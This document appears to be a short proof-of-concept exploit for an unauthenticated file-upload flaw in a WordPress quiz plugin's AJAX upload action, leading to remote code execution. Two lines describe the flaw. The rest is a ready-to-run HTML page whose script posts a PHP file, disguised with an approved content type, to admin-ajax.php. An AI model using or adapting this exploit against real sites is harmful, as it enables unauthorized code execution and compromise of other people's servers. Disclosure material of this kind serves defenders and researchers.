This flaw made it possible for unauthenticated attackers to upload arbitrary files and achieve remote code execution.
Set-up quiz that accepts file uploads, then upload file and change content-type to one set as approved.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/YOURURL\/wp-admin\/admin-ajax.php", true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundary1KjFGkzH72GXWO21");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
xhr.withCredentials = true;
var body = "------WebKitFormBoundary1KjFGkzH72GXWO21\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"posts.php\"\r\n" +
"Content-Type: text/plain\r\n" +
"\r\n" +
"\x3c?php phpinfo();?\x3e\r\n" +
"------WebKitFormBoundary1KjFGkzH72GXWO21\r\n" +
"Content-Disposition: form-data; name=\"action\"\r\n" +
"\r\n" +
"qsm_upload_image_fd_question\r\n" +
"------WebKitFormBoundary1KjFGkzH72GXWO21\r\n" +
"Content-Disposition: form-data; name=\"question_id\"\r\n" +
"\r\n" +
"1\r\n" +
"------WebKitFormBoundary1KjFGkzH72GXWO21--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>